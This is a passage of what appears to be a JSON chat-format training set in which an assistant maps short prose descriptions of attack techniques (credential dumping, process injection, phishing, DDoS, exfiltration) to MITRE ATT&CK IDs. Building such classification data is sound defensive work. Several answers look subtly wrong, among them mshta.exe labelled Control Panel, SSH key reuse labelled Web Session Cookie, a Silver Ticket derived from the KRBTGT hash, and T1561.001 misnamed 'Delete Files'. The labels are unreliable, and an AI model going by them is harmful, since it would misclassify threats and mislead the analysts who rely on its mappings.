                "content": "The attacker edits the Windows registry to change the default program for .docx files, pointing it to a malicious executable that runs when a document is opened."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A decoy image file named “Invoice.png” contains an embedded malicious payload that executes when the image is opened in Windows Photo Viewer."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious email attachment is a .txt file that actually contains VBScript code, which is then executed using cscript.exe after the user renames it to .vbs."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware modifies the registry to set the 'Start' value of the 'W32Time' service to 4, preventing time synchronization."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerability in a widely used software to gain unauthorized access to sensitive data. The goal is to disrupt business operations."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Windows Sysinternals tool ProcDump to extract the contents of the LSASS process memory and retrieve plaintext credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a distributed denial-of-service (DDoS) attack to flood a system with traffic from multiple compromised devices, making it unavailable to legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit mshta.exe, a Control Panel component, to execute embedded JavaScript that downloads additional malware."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies a setuid‑root program to execute attacker‑controlled code, resulting in privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deployed a malicious PowerShell script that calls \"Remove-Item\" on all files in the C:\\Windows directory, effectively wiping the OS drive."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Delete Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder runs a network scanner to identify open ports and services on the victim's external IP address range."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised privileged user to change the token signing certificate in the hybrid identity environment, allowing forged tokens to be accepted."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the Google Cloud Compute Engine metadata server to harvest service account keys."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilized a LXC container escape technique by mounting the host's /proc filesystem and executing commands as root on the host."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware updates a DLL in the program directory with malicious code to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the netsh command to turn off the Windows Firewall on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A concise description: injecting shellcode into a running process and hijacking an existing thread to execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised credential, the attacker queries the network's DNS server to retrieve IP address records for internal hosts."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script generates a self-signed certificate and uses it to secure its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a malicious JavaScript injection to read the password manager API of Chrome and send credentials to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script sends harvested logs to a third‑party server over an unencrypted TCP connection on a non‑standard port."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group obscures the malicious script by deleting comment lines and renaming variables to erase traces."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accessed the device's console port, entered privileged mode, and used the 'copy running-config' command to send the config to an external server."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group uses dynamic resolution of command-and-control domains to bypass network filtering."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set implements a one-way HTTP GET to a malicious webhook, delivering exfiltrated data without establishing a bidirectional session."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages the Windows API to craft a transaction, writes a malicious DLL into the transaction, rolls back the transaction, and then loads the DLL into a running process via Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker downgrades TLS connections to use export-grade ciphers, dramatically shrinking the effective encryption strength."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers deploy a tool that encrypts its network traffic with a pre‑shared AES key to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages SOAP over HTTP, making the request bodies look like typical web service calls while transmitting malicious data."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor automates login attempts to SSH servers using a dictionary of common passwords, iterating quickly to find valid credentials."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries plant a script on a web portal for filing expense reports that captures the credit card numbers entered by employees."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor performed mass ICMP ping sweeps across the victim's network to discover active hosts for later lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes a command‑and‑control channel by exchanging public keys with the victim and encrypting all traffic with the victim's public key."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious package was published to a public npm repository, leading developers to install infected code."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat added an ACE that gave the attacker’s domain account Full Control over the Windows Registry hive HKLM\\Software, enabling persistent changes."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker leveraged a misconfigured S3 bucket to replace static website files, causing the public site to display a defacement message."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a dumped password hash from the SAM database, the threat actor performed a pass-the-hash attack to authenticate as a local user on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs installutil /U malicious.dll from a compromised host to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious campaign uses search engine indexing to map out publicly visible service endpoints of the intended victim."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers create a malicious DLL that hijacks legitimate processes."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker cleared the audit logs in the Kubernetes logging stack to erase evidence of pod compromise."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker steals a valid Kerberos ticket from memory and injects it into their own session to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary installs a malicious DLL that hooks the Windows message loop to intercept all mouse clicks and keystrokes entered into the victim's graphical applications."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor obtains a user's Kerberos ticket and uses it to authenticate to additional services without needing the password."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake security alert includes a malicious JPG attachment that, when opened with a vulnerable image viewer, runs a hidden batch file to establish a reverse shell to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the password reset functionality of a web portal by submitting a forged password reset token, allowing them to set a new password and gain access."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials allow the attacker to sync exfiltrated data to a rogue iCloud drive using the victim’s iCloud authentication cookie."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a .chm file to load an embedded ActiveX control, which then executed cmd.exe commands, demonstrating the use of system binaries as proxies for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages improperly configured SSDP services to send small M‑Search requests that are amplified into large multicast responses aimed at the victim."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated malware drops a carrier file that appears as a legitimate image, but contains hidden Python code within its EXIF metadata."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary targeted an outdated library with a known deserialization flaw, enabling them to run arbitrary code and install additional reconnaissance tools."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker purchases a SSL/TLS certificate for a spoofed domain to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script calls the WMI class Win32_ComputerSystem to retrieve the device model and BIOS version."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a stolen private key to authenticate to SSH services without a password."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a PowerPoint presentation was distributed via a LinkedIn message, dropping a payload that creates a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Office template is delivered via phishing email, and when the victim opens the attached .dotm file, the macro runs automatically."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a DCSync step where the adversary clones domain controller data to harvest password hashes of service accounts."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware decrypts API names at runtime and uses GetProcAddress to resolve functions like VirtualAlloc and WriteProcessMemory, avoiding static imports."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team created a Silver Ticket by extracting the KRBTGT hash from a compromised host, allowing access to the corporate web server."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By delivering a rogue XSL file, the adversary exploits the XSLT processor to execute arbitrary binaries."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script queries the Exchange Web Services API to download recent emails from user mailboxes."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses the registry to copy the SAM file and then parses it to obtain user password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware directly invokes Windows native API calls such as CreateProcessA to launch a secondary payload."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use signed binaries to proxy execution of malicious payloads, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218 - System Binary Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a Registry Run key as a trap, launching a credential stealer each time a new network share is mounted."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group mimics legitimate DNS over HTTPS (DoH) traffic to conceal C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses a compromised domain’s DNS TXT records to embed encrypted command instructions."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerability in a third‑party authentication app to extract OTP codes."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Advanced persistent threat uses the Linux \"reboot\" command via a compromised SSH session to disrupt services."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor purges persistence mechanisms like login scripts and registry run keys to eliminate forensic traces."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is inserted into a PDF document via a crafted PDF form field, leading to execution when opened."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool runs the \"wmic product get name,version\" command to harvest software inventory on the target Windows machine."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a DNS zone transfer to obtain MX records and then enumerates mail user accounts through the directory service."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used compromised AWS credentials to delete the VPC security group rules, effectively disabling the cloud firewall and allowing unrestricted inbound traffic."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious email attachment exploited a known flaw in Microsoft Office to silently execute a dropper that retrieved additional malware."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
